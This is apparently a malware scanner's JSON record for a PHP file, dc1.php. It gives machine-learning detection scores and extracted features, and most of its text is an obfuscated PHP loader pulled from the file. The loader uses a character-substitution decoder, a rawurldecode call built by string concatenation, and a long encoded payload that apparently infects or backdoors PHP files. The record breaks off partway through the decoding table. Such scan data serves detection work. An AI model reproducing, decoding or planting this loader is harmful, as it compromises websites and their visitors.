{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.9989339709281921,
        "class": 2
      }
    ],
    "prob": 0.998934,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.9685933,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.99690276,
        "class": 0
      },
      {
        "m": "az/php",
        "prob": 0.998934,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T04:44:37Z"
  },
  "path": "dc1.php",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₆(As₃C₇DyErIS)H₅(CmCrDb₃F₅Os)Md",
        "k": {
          "source.imports[0]": "array_filter",
          "source.imports[1]": "array_merge",
          "source.imports[2]": "array_unique",
          "source.imports[3]": "ceil",
          "source.imports[4]": "chmod",
          "source.imports[5]": "closedir",
          "source.imports[6]": "count",
          "source.imports[7]": "decoct",
          "source.imports[8]": "explode",
          "source.imports[9]": "file_exists",
          "source.strings[0]": "$dir/$f",
          "source.strings[1]": "$framer = new DomainFramer2(\"if (!defined('stream_context_create '))\n{\ndefine('stream_context_create ', 1);\n\n $rptwwzfxx = 440; function gzmvnpx($bbbyu, $pqyhcoj){$kyydmxsv = ''; for($i=0; $i \u003c strlen($bbbyu); $i++){$kyydmxsv .= isset($pqyhcoj[$bbbyu[$i]]) ? $pqyhcoj[$bbbyu[$i]] : $bbbyu[$i];}\n$fzpxdtpucg=\"rawurl\" . \"decode\";return $fzpxdtpucg($kyydmxsv);}\n$sgvnobsk = '%CX%C3%CX%C3%7C0h0_KrS%89%8erEERE_kRx%8e%8w%8Cq6TT%8'.\n'Z%LV%CX%C3%7C0h0_KrS%89%8ekRx_rEEREK%8e%8w%8CC%8Z%LV%CX%C3%7C0h0_KrS%89%8eQop_rpragS0Rh_S'.\n'0Qr%8e%8w%8CC%8Z%LV%CX%C3%7CrEERE_ErFRES0hx%89C%8Z'.\n'%LV%CX%C3%7CKrS_S0Qr_k0Q0S%89C%8Z%LV%CX%C3%CX%C3%CX%C30O%89'.\n'%8isrO0hrs%89%88U1U_dlT%88%8Z%8Z%CX%C3%eV%CX%C3%8C%8C%8C%8CsrO0hr%89%88U1U_dlT%88%8w%8'.\n'C%88%zwh%88%8Z%LV%CX%C3%eX%CX%C3%CX%C30O%89%8isrO0hrs%89%88XGBdwIlBH_mdU3B'.\n'3IlB%88%8Z%8Z%CX%C3%eV%CX%C3%8C%8C%8C%8CsrO0hr%89%88XGBdwIlBH_mdU3B3IlB%88%8w%8C%88/%88'.\n'%8Z%LV%CX%C3%eX%CX%C3%CX%C30O%8C%89%8isrO0hrs%89%8eO0kr_FgS_aRhSrhSK%8C%8e%8Z%8Z%CX%'.\n'C3%eV%CX%C3%8C%8C%8C%8CsrO0hr%89%8eO0kr_FgS_aRhSrhSK%8C%'.\n'8e%8w%8Ci%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8C%87pysRaku%8C%LX%8C%8e9sziLa55'.\n'-7Cz7-7z5v-o8ev-5vv9O7Lzo5Zo%8e%LV%CX%C3%8C%8C%8C%8CxkR5'.\n'ok%8C%87pysRaku%LV%CX%C3%CX%C3%8C%8C%8C%8COghaS0Rh%8CS000RxO%89%87ppQEKR%8Z%8C%eV%CX%C3%'.\n'CX%C3%8C%8C%8C%8C%8C%8C%8C%8C0O%8C%89KSEkrh%89%87ppQEKR%8Z%8C%Lw%8C7%8Z'.\n'%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%'.\n'8CErSgEh%8C%88%88%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%'.\n'8C%87roFhk4N%8C%LX%8C%883VwXdtW1GcPT2qlUjBmI6MbJHAo5'.\n'asrOxD0u4kQhRFyEKSgfYpnNCi8L7zve9Z%8V/%LX%88%LV%CX%C3%CX%C3'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%87nxsKOkf4R5nx%8C%LX%8CKSE_KFk0S%89%87roFhk4N%8Z%LV%CX%C3%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%87nxsKOkf4R5nx%8C%LX%8CoEEon_Ok0F%89%87n'.\n'xsKOkf4R5nx%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%87nxsKOk%8C%LX%8CC%LV%CX%C3%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%87kanrEO%8C%LX%8C%88%88%LV%CX%C3%CX%C'.\n'3%8C%8C%8C%8C%8C%8C%8C%8C%87ppQEKR%8C%LX%8CFErx_ErFkoar%89%88%ed%z'.\n'V%zd3-Ao-NC-Z%zw%8V%zw/%zw%LX%zX%ed%88%8w%8C%88%88%8w%8C%8'.\n'7ppQEKR%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%8CsR%8C%eV%CX%C3%8C%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%87KoFFFaRk%8C%LX%8C%87nxsKOkf4R5'.\n'nx%zV%87ppQEKR%zV%87nxsKOk%8V%8V%zX%zX%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%87ynpyKK%8C%LX%8C%87nxsKOkf4R5nx%zV%87ppQEKR%z'.\n'V%87nxsKOk%8V%8V%zX%zX%LV%CX%C3%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%87rFounSoK%8C%LX%8C%87nxsKOkf4R5nx%zV%87ppQEKR%zV%87nxsKO'.\n'k%8V%8V%zX%zX%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8'.\n'C%87SRE5gfa0sRu%8C%LX%8C%87nxsKOkf4R5nx%zV%87ppQEKR%zV%87nxsKOk%8V%8V%zX%zX%LV%CX%C3%CX%'.\n'C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87khoQra%8C%LX%8C%89%87KoFFFaRk%8C%Lw%Lw%8C8'.\n'%8Z%8C%ew%8C%89%87ynpyKK%8C%Ld%Ld%8C7%8Z%LV%CX%C3%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87frFNQo%8C%LX%8C%89%89%87ynpyKK%8C%8v%8Ciz%8Z%8C%'.\n'Lw%Lw%8C7%8Z%8C%ew%8C%89%87rFounSoK%8C%Ld%Ld%8C8%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%87KhruDp%8C%LX%8C%89%89%87rFounSoK%8C%8v%8CL%8Z%8C%Lw%Lw%8Cv%8Z%8C%ew%8C%87SRE5g'.\n'fa0sRu%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87kanrEO%8C%'.\n'LX%8C%87kanrEO%8C.%8CaDE%89%87khoQra%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C0O%8C%89%'.\n'87rFounSoK%8C%8i%LX%8Cv7%8Z%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%87kanrEO%8C%LX%8C%87kanrEO%8C.%8CaDE%89%87frFNQo%8Z%LV%CX%C3%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C0O%8C%89%87SRE5gfa0sRu%8C%8i%LX%8Cv7%8Z%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%87kanrEO%8C%LX%8C%87kanrEO%8C.%8CaDE%89%87KhruDp%8Z%LV%CX%C3%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%eX%8CYD0kr%8C%89%87nxsKOk%8C%Lw%8CKSEkrh%89%87ppQEKR%8Z%8Z%LV%CX%C3%'.\n'8C%8C%8C%8C%8C%8C%8C%8CErSgEh%8C%87kanrEO%LV%CX%C3'.\n'%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8C0O%8C%89%8iOghaS0Rh_rp0KSK%89%8'.\n'eO0kr_FgS_aRhSrhSK%8e%8Z%8Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C%'.\n'8C%8C%8C%8C%8C%8COghaS0Rh%8CO0kr_FgS_aRhSrhSK%89%87Q0YYaKQy%8w%8C%87NEouKn'.\n'xg%8w%8C%87rRkn0R%8C%LX%8CtokKr%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87SRE5gf5NkFu%8C%LX%8C%87rRkn0R%8C%LX%LX%8C9%8C%Lt%8C%8e'.\n'o%8e%8C%L3%8C%8eY%8e%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87SRE5gf%8C%LX%8C%'.\n'7CORFrh%89%87Q0YYaKQy%8w%8C%87SRE5gf5NkFu%8Z%LV%CX%C3%8C%8C%8C%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C0O%8C%89%87SRE5gf%8C%LX%LX%LX%8CtokKr%8Z%CX%C3%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8CErSgEh%8CC%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8CrkKr%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%'.\n'eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C0O%8C%890K_oEEon%89%87NEouKnxg%8Z%8Z%8'.\n'C%87NEouKnxg%8C%LX%8C0QFkRsr%89%87NEouKnxg%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%87nEpRguu%8C%LX%8COYE0Sr%89%87SRE5gf%8w%8C%87NEouKnxg%8'.\n'Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8COakRKr%89%8'.\n'7SRE5gf%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8CErSgEh%8C%87nEpRguu%'.\n'LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%'.\n'8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8C0O%8C%89%8iOghaS0Rh_rp0'.\n'KSK%89%8eO0kr_xrS_aRhSrhSK%8e%8Z%8Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8'.\n'C%8C%8COghaS0Rh%8CO0kr_xrS_aRhSrhSK%89%87Q0YYaKQyKhSsgyk%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87SsOnrpy%8C%LX%8CORFrh%89%87Q0YYaKQyKhSsgyk'.\n'%8w%8C%88E%88%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87Krhxho%8C%LX%8COEr'.\n'os%89%87SsOnrpy%8w%8CO0krK0Nr%89%87Q0YYaKQyKhSsgyk%8Z%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%'.\n'8C%8C%8COakRKr%89%87SsOnrpy%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8CErSgE'.\n'h%8C%87Krhxho%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%'.\n'CX%C3%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8COghaS0Rh%8CKKgsQK%8'.\n'9%8Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8CErSgEh%8CSE0Q%89FErx_ErFkoar%89'.\n'%88/%zw%89.%83%zw%87/%88%8w%8C%8e%8e%8w%8C__tGTd__'.\n'%8Z%8Z%LV%CX%C3%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8COghaS0Rh%8C0KSnN4%89%87EQ5'.\n'KSKo%8w%8C%87NEouKnxg0oxSK%8Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%87pOaKSOE%8C%LX%8C%88%88%LV%CX%C3%CX%C3%8C%8'.\n'C%8C%8C%8C%8C%8C%8CORE%8C%89%87nxsKOk%LXC%LV%8C%87nx'.\n'sKOk%LwKSEkrh%89%87EQ5KSKo%8Z%LV%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%8C%8CORE%8C%89%87kprh5Y%LXC%LV%8C%87kprh5Y%LwKS'.\n'Ekrh%89%87NEouKnxg0oxSK%8Z%8C%8v%8v%8C%87nxsKOk%LwKSEkrh%89%87EQ5KSKo%'.\n'8Z%LV%8C%87kprh5Y%8V%8V%8w%8C%87nxsKOk%8V%8V%8Z%CX%C3%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87pOaKSOE%8C.%LX%8CaDE%89REs%89%87'.\n'EQ5KSKo%zV%87nxsKOk%zX%8Z%8C%zd%8CREs%89%87NEouKnxg0oxSK%zV%87kprh5Y%zX%8Z%8Z%LV%CX%C3%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8C%8C'.\n'%8C%8C%8CErSgEh%8C%87pOaKSOE%LV%CX%C3%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8COghaS0'.\n'Rh%8CFakayp0R%89%87EQ5KSKo%8w%8C%87NEouKnxg0oxSK%8Z%CX%C3'.\n'%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8CxkR5ok%8C%87pysRaku%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C%8'.\n'C%8C%8CErSgEh%8C0KSnN4%890KSnN4%89%87EQ5KSKo%8w%8C%87NEouKnxg0oxSK%8Z%8w%8C%87pysRaku%8Z%LV%CX%C3'.\n'%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8COghaS0Rh%8C4FQkyka%89%87EQ'.\n'5KSKo%8w%8C%87NEouKnxg0oxSK%8Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8Cx'.\n'kR5ok%8C%87pysRaku%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%8CErSgE'.\n'h%8C0KSnN4%890KSnN4%89%87EQ5KSKo%8w%8C%87pysRaku%8Z%8w%8C%87NEouKnxg0oxSK%8Z%LV%CX%C3'.\n'%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8COghaS0Rh%8CnrO4YY4S%89%8Z%C'.\n'X%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%87N5RSOk4%8C%LX%8C%7CO0kr_'.\n'xrS_aRhSrhSK%89KKgsQK%89%8Z%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%87EOa044%8C%LX%8CKSEFRK%89%87N5RSOk4%8w%8CQsz%89KKgsQK%'.\n'89%8Z%8Z%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C0O%8C%89%87EOa044%8C%8i%LX%LX%8Ct3Tmd%8Z%CX%C3%8C%8C%8C%'.\n'8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%87YoEYaE%8C%LX%8CKg5KSE%89%87N5RSOk4%8w%8C%87EOa044%8C%'.\n'8V%8CL8%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87ghKFgf%8C%LX%8C%7CghKrE0ok0Nr'.\n'%89Fakayp0R%89EoYgEksraRsr%89%87YoEYaE%8Z%8w%8CQsz%89KKgsQK%89%8Z%8Z'.\n'%8Z%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%'.\n'8CrkKr%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87ghKFgf%8C%LX%8C3EEon%89%8Z%LV%'.\n'CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%8CErSgEh%8C%'.\n'87ghKFgf%LV%CX%C3%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8COghaS0Rh%8Cgupyfp%89%87ghKFgf%8'.\n'Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%87Y4yhYhN0%8C%LX%8CEoY'.\n'gEkrhaRsr%894FQkyka%89%7CKrE0ok0Nr%89%87ghKFgf%8Z%8w%8CQsz%89KKgsQK%89%8Z%8Z%8Z%8Z%LV%CX%C3%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%87N5RSOk4%8C%LX%8C%7CO0kr_xrS_aRhSrhSK%89KKgsQK%89%'.\n'8Z%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%87EOa044%8C%LX%8CKSEFRK%89%87N5RSOk4%8w%8CQsz%89KK'.\n'gsQK%89%8Z%8Z%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C0O%'.\n'8C%89%87EOa044%8C%8i%LX%LX%8Ct3Tmd%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87Sx5uFS%8C%LX%8CKg5KSE'.\n'%89%87N5RSOk4%8w%8C%87EOa044%8C%8V%8CL8%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%87N5RSOk4%8C%LX%8CKSE_ErFkoar%89%87Sx5uFS%8w%8C%8'.\n'7Y4yhYhN0%8w%8C%87N5RSOk4%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%'.\n'8C%8C%8C%8CrkKr%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%87N5RSOk4%8C%LX%8C%87N5RSOk4%8C.%8C%88%zwh%zwh//%88%8C.%8CQ'.\n'sz%89KKgsQK%89%8Z%8Z%8C.%8C%87Y4yhYhN0%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%7CO0kr_FgS_aRhSrhSK%89KKgsQK%89%8Z%8w%8C%87N5RSOk4%8Z%LV%CX%C3%8C%8C%8C%8'.\n'C%eX%CX%C3%CX%C3%8C%8C%8C%8COghaS0Rh%8CurNFoak4%89'.\n'%874QDN45%8w%8C%87nxsKOkNhyNSp%8Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%87ghKFgf%8C%LX%8CnrO4YY4S%89%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%87ghKFgf%zV%874QDN45%zX%8C%LX%8CS000RxO%89%87nxsKOkNhyNSp%8Z%LV%CX%C3%CX%C3%8C%'.\n'8C%8C%8C%8C%8C%8C%8Cgupyfp%89%87ghKFgf%8Z%LV%CX%C3%8C%8C%8C%8C%eX%CX%C3%CX%C3%8C%8C%8C%8COghaS0Rh%8C'.\n'N5EKDYR0%89%874QDN45%8Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%87ghKFgf%8C%LX%8CnrO4YY4S%89%8Z%L'.\n'V%CX%C3%CX%C3%8C%8C%8C%8C%8C%8C%8C%8CghKrS%89%87ghKFgf%zV%874QDN45%zX%8Z%LV%CX%C3%CX%C3%8'.\n'C%8C%8C%8C%8C%8C%8C%8Cgupyfp%89%87ghKFgf%8Z%LV%CX%C3%8C%8C%8C%8C%eX%CX%C3%CX%C3'.\n'%8C%8C%8C%8COghaS0Rh%8CxggSRO%89%874QDN45%LXq6TT%8Z%CX%C3%8C%'.\n'8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8COREroaD%8C%89nrO4YY4S%89%8Z%8CoK%8C%87kprh5YO'.\n'4yfo%LX%Ld%87EF00FgK%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%'.\n'8C%8C%8C%8C%8C%8C%8C0O%8C%89%874QDN45%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C0O%8C%89KSEaQF%89%874QDN45%8w%8C%'.\n'87kprh5YO4yfo%8Z%8C%LX%LX%8CC%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8Crfok%89%8'.\n'7EF00FgK%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%8C5Ero4%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8CrkKr'.\n'%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8Crfok%89%87EF00FgK%8Z%LV%CX%C3%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%eX%CX%C3%CX%'.\n'C3%8C%8C%8C%8COREroaD%8C%89oEEon_QrExr%89%87_wllPGd%8w%8C%87_UlmI%8Z%8CoK%8C%87nxsKO'.\n'kgxs5g5%8C%LX%Ld%8C%87EQ5KSKo%8Z%CX%C3%8C%8C%8C%8C%eV%CX%C3%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%87EQ5KSKo%8C%LX%8C%7CghKrE0ok0Nr%89Fakayp0R%89S000RxO%89%87EQ5KSKo%8Z%8w%8'.\n'C%87nxsKOkgxs5g5%8Z%8Z%LV%CX%C3%CX%C3%8C%8C%8C%8C%8C%8'.\n'C%8C%8C0O%8C%890KKrS%89%87EQ5KSKo%zV%8eo4%8e%zX%8Z%8C%8v%8v%8C%87pysR'.\n'aku%LX%LX%87EQ5KSKo%zV%8eo4%8e%zX%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C0O%8C%89%87EQ5KSKo%zV%8eo%8e%zX%8C%LX%LX%8C%8e0%8e%8Z%CX%C3%8C%8C%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%8C%87nxsKOk%8C%LX%8C3EEon%89'.\n'%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8eFf%8e%8C%LX%Ld%8C%7CFDFfrEK0Rh%89%8Z%8w%CX%C3%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8eKf%8e%8C%LX%Ld%8C%8e8.C-i%8e%8w%CX%C3%8C%'.\n'8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8eo4%8e%8C%LX%Ld%8C%87EQ5KSKo%zV%8eo4%8e%'.\n'zX%8w%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%8CraDR%8C%7CKrE0ok0Nr%89%87nxsKOk%8Z%LV%CX%C3'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8Crp0S%LV%CX%C3%8C'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8CrkKr0O%8C%89%87E'.\n'Q5KSKo%zV%8eo%8e%zX%8C%LX%LX%8C%8er%8e%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8Crfok%89%87EQ5K'.\n'SKo%zV%8es%8e%zX%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%'.\n'8CrkKr0O%8C%89%87EQ5KSKo%zV%8eo%8e%zX%8C%LX%LX%8C%8eFkgx0h%8e%8Z%CX%C3%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8'.\n'C%8C0O%89%87EQ5KSKo%zV%8eKo%8e%zX%8C%LX%LX%8C%8eoss%8e%8Z%CX%C3%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%'.\n'8C%8C%8C%8C%8CurNFoak4%89%87EQ5KSKo%zV%8eF%8e%zX%8w%8C%87EQ5KSKo%zV%8e'.\n's%8e%zX%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%'.\n'8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8CrkKr0O%89%87EQ5KSKo%zV%8eKo%8e%zX%8C%LX'.\n'%LX%8C%8eErQ%8e%8Z%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%8C%8C%eV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8C%8CN5EKDYR0%89%87EQ5KSKo%zV%8eF%8e%zX%8Z%LV%CX%C3%8C%8C%8C%8'.\n'C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8'.\n'C%8C%eX%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8C%8CraDR%'.\n'8C%87EQ5KSKo%zV%8eo4%8e%zX%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C'.\n'%8C%8C%8C%8C%8Crp0S%89%8Z%LV%CX%C3%8C%8C%8C%8C%8C%8C%8C%8C%eX%CX%C3%8C%8C%8C%8C%eX%CX%C3%CX%C3%8'.\n'C%8C%8C%8CxggSRO%89%8Z%LV%CX%C3%eX';\n$vginbjwex = Array('1'=\u003e'H', '0'=\u003e'i', '3'=\u003e'A', '2'=\u003e'M', '5'=\u003e'b', '4'=\u003e'k', '7'=\u003e'4', '6'=\u003e'U', '9'=\u003e'8', '8'=\u003e'2', 'A'=\u003e'Z', 'C'=\u003e'0', 'B'=\u003e'R', 'E'=\u003e'r', 'D'=\u003e'h', 'G'=\u003e'I', 'F'=\u003e'p', 'I'=\u003e'T', 'H'=\u003e'Y', 'K'=\u003e's', 'J'=\u003e'X', 'M'=\u003e'V', 'L'=\u003e'3', 'O'=\u003e'f', 'N'=\u003e'z', 'Q'=\u003e'm', 'P'=\u003e'K', 'S'=\u003e't', 'R'=\u003e'o', 